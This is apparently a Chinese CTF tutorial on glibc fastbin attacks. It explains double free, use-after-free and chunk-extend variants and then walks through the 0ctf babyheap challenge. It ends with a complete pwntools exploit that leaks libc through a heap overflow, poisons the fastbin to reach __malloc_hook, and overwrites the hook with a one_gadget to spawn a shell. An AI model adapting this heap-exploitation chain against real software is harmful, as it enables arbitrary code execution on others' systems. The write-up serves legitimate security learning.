[pwn]fastbin attack
fastbin attack原理
fastbin attack是利用fastbin分配原理的漏洞,利用要求是我们能够修改“已释放”堆块。通常情况下与double free、use after free和chunk extend连用。
首先简单介绍一下fastbin的分配流程:
fastbins是管理在malloc_state结构体重的一串单向链表,分为0x20-0x807个链表(默认情况下)。每个表头对应一个长度不超过4个的单向链表。
- 每次释放对应大小的堆块都会被连入对应大小的链表中(链表长度<4)。
- 每次分配会优先从fastbins中分配对应大小的区块。
如下图:
由chunk的bk指针域指向下一个空闲fastbin堆块,最后一个空闲堆块的bk指针为0。申请堆块的时候会将表中第一个堆块分配,然后表头指向第一个堆块指向的下一个堆块,如下图:
如果下一个堆块为0就说明分配完了,表头指向空即可。关于fastbin的更详细信息和chunk结构等可以参阅《ptmalloc源码分析》。接下来就三种典型的可以利用fastbin attack的漏洞进行简单介绍
double free
double free+fastbin attack的利用场景通常是这样的,当程序有double free漏洞时,我们通过申请两个fastbin大小的堆块1和2,还是以0x30举例,然后分别释放chunk 1和chunk 2,fastbin的链表结构就会如下图:
这时由于有double free漏洞,再释放chunk 1,链表就会变成这样一个循环链表:
表头指向chunk1,chunk1指向chunk2,chunk2又指回chunk1。那么这时按照如下步骤:
- 申请一个new chunk 1:
- 将new chunk 1的指针域修改为要修改的地址-0x10以上:
- 申请一个new chunk 2:
- 再申请一个new chunk 3(new chunk 3是和new chunk 1重合的)
- 这时可以发现,fastbin链表已经指向了我们想要修改的地址了,只要再申请一个堆块就会申请到想要修改的地址,然后只要编辑这个堆块便可完成任意地址写。
use after free
use after free来利用fastbin attack也非常简单。首先,申请一个对应fastbin区间内的堆块并释放:
接着利用use after free将这个已释放堆块的指针域修改,修改为想要修改的地址:
然后和double free的后半段类似,再申请两个堆块便可申请到想要修改的地址处,之后编辑即可。
chunk extend
chunk extend是一种限制比较少的堆利用方式,通常通过off by one或off by null或者其他堆溢出来利用。
chuank extend利用需要的条件是:
- 可以进行堆布局
- 可以溢出至少一个字节
chunk extend的原理是,首先申请三个堆块:
这里size 0x18是堆块的大小,1是前一个堆块占用位,先通过编辑堆块A然后通过off by one来溢出到堆块B的size域,并将其修改为0x18+0x18+1(其实就是size B+size C,然后前一个堆块占用1):
这时释放堆块B,由于大小在fastbins中,所以(堆块C的)下一个堆块的前一个堆块使用位不会被置0,再释放C,arena中对应的bins就会指向B和C,如图:
这时只要再申请一个0x40的大小的堆块,就可以将B+C这个“合成”堆块申请回来,然后就可以操作还在bins中的C堆块C了,将其指针为修改为想要任意写的地址,如free_got:
然后再申请一个大小为0x20的堆块,将C申请回来,这时bins就会指向freegot,接下来再申请空间就会申请到freegot了:
再次申请一个0x20大小的堆块就会申请到free_got所在的地方,这时就可以修改为任意的值了。
需要注意的点
在申请fastbin时会有两个检测:
- 检测你要malloc的freechunk的大小是否在该chunk所在的fastbin链的大小尺寸范围内
- 检测你这个freechunk的size成员的PREV_INUSE为是否为1,为1才可以通过检测(libc2.23没有)
而以libc-2.23为例,如果想要使用fastbin attack来修改malloc_hook为onegadget的话,只是将修改地址写成malloc_hook_addr-0x10是通过不了检验的,一个固定用法是修改成malloc-0x23,下面通过一道题来演示一下chunk extend来利用fastbin attack修改malloc为onegadget的。
0ctf:babyheap
题目:0ctfbabyheap
首先查看安全策略:
全开,基本堆题目日常操作。然后逆向查看程序逻辑:
基本就是一个典型的堆题目,可以自由申请、编辑、释放、输出堆块。漏洞出现在Fill函数中:
可以向堆块输入任意长度,造成溢出。
想要利用,首先是要泄露libc地址。这里采用的是泄露unsortbin链表的地址,先申请四个堆块如图,其中最后一个chunk 3的作用是和top chunk隔离:
申请0x68的大小实际上就是0x70,如下:
alloc(0x18) #0
alloc(0x68) #1
alloc(0x68) #2
alloc(0x18) #3
然后利用堆溢出,堆chunk 0编辑,使chunk 0溢出内容将chunk1 的size修改为0xe1,即chunk1+chunk2大小的和,然后pre占用位为1,这时释放1,相当于释放了一个size为0xe0的chunk,会被放入unsortbin链表中:
fill(0,0x19,'a'*0x18+'\xe1')
free(1)
这时再申请一个0x70的堆块,便会从unsortbin中分割一个0x70的大小的堆块出来,然后剩下的继续连入unsortbin中。但需要注意的是,分割之前unsortbin中的那个0xe0大小的堆块是我们通过溢出伪造的堆块,实际上是由一个0x70的(已释放堆块,在前)和一个0x70的(未释放堆块,在后)组成的。这时在申请一个0x70的堆块就会将前一部分已释放的那个堆块重新申请回来,那么后一个堆块就会被作为空闲堆块连入unsortbin中,但实际上这个堆块我们可控,我们可以将其内容输出,就会获得一个指向unsortbin的指针值,便泄露了libc地址:
alloc(0x68) #1
dump(2)
p.recvuntil('Content: \n')
leak = u64(p.recvline()[:8])
print hex(leak)
而这时libc的起始地址是:
那么地址偏移就是:
libc_base=leak-(0x7fe195323b78-0x7fe194f88000)
这时我们就有了libc的地址了,然后的利用思路是将malloc_hook修改为onegadget,然后申请一个堆块就会完成getshell。
这时我们需要的操作也非常简单,只需再申请一个0x70的堆块chunk 4,我们就会发现我们有两个堆块(chunk2和chunk4)同时指向同一个0x70的地址空间。
alloc(0x68) #4
这时我们只需释放chunk2,然后编辑chunk4便可修改fastbin的指针了,然后0x70的fastbin链表就会变成之前说的“格式”!
malloc_hook = libc_base + libc.symbols['__malloc_hook']
print "malloc_hook-> " + hex(malloc_hook)
alloc(0x68) #4
free(2)
fill(4,0x8,p64(malloc_hook-0x23))
可见,0x70的fastbin链已经指向malloc_hook的区域了,这里多说一嘴,为什么是malloc_hook-0x23:
可以看出,malloc_hook-0x23的seze域正好是malloc前面的某个地址的0x7f,可以达到fastbin的身躯的检测,而由于这个堆块有0x70这么大,我们只需要在申请的地址偏移0xb的地方就可以修改到malloc_hook为onegadget:
onegadget=libc_base+0x4526a
print "one_gadget-> " + hex(onegadget)
alloc(0x68) #2
alloc(0x68) #5
fill(5,0x1b,'a'*0x13+p64(onegadget))
接下来只要再随便申请一个堆块便可以了,完整exp如下(调试的时候使用的调试版libc,最后利用的时候要换回做题环境的libc,地址什么的都需要重新获取一下):
from pwn import *
context(arch='amd64', os='linux')
context.terminal=['tmux','splitw','-h']
p = process(["./ld.so.2","./0ctfbabyheap"],env={"LD_PRELOAD":"./libc.so.6"})
#gdb.attach(p)
libc = ELF("./libc.so.6")
def alloc(size):
p.sendlineafter("Command: ", str(1))
p.sendlineafter("Size: ", str(size))
def fill(index, size, content):
p.sendlineafter("Command: ", str(2))
p.sendlineafter("Index: ", str(index))
p.sendlineafter("Size: ", str(size))
p.sendlineafter("Content: ", content)
def free(index):
p.sendlineafter("Command: ", str(3))
p.sendlineafter("Index: ", str(index))
def dump(index):
p.sendlineafter("Command: ", str(4))
p.sendlineafter("Index: ", str(index))
alloc(0x18) #0
alloc(0x68) #1
alloc(0x68) #2
alloc(0x18) #3
fill(0,0x19,'a'*0x18+'\xe1')
free(1)
alloc(0x68) #1
dump(2)
p.recvuntil('Content: \n')
leak = u64(p.recvline()[:8])
libc_base=leak-(0x7fc4a1902b78-0x7fc4a153e000)
print "libc_base-> " +hex(libc_base)
malloc_hook = libc_base + libc.symbols['__malloc_hook']
print "malloc_hook-> " + hex(malloc_hook)
onegadget=libc_base+0x4526a
print "one_gadget-> " + hex(onegadget)
alloc(0x68) #4
free(2)
fill(4,0x8,p64(malloc_hook-0x23))
alloc(0x68) #2
alloc(0x68) #5
fill(5,0x1b,'a'*0x13+p64(onegadget))
alloc(0x18)
p.interactive()
成功: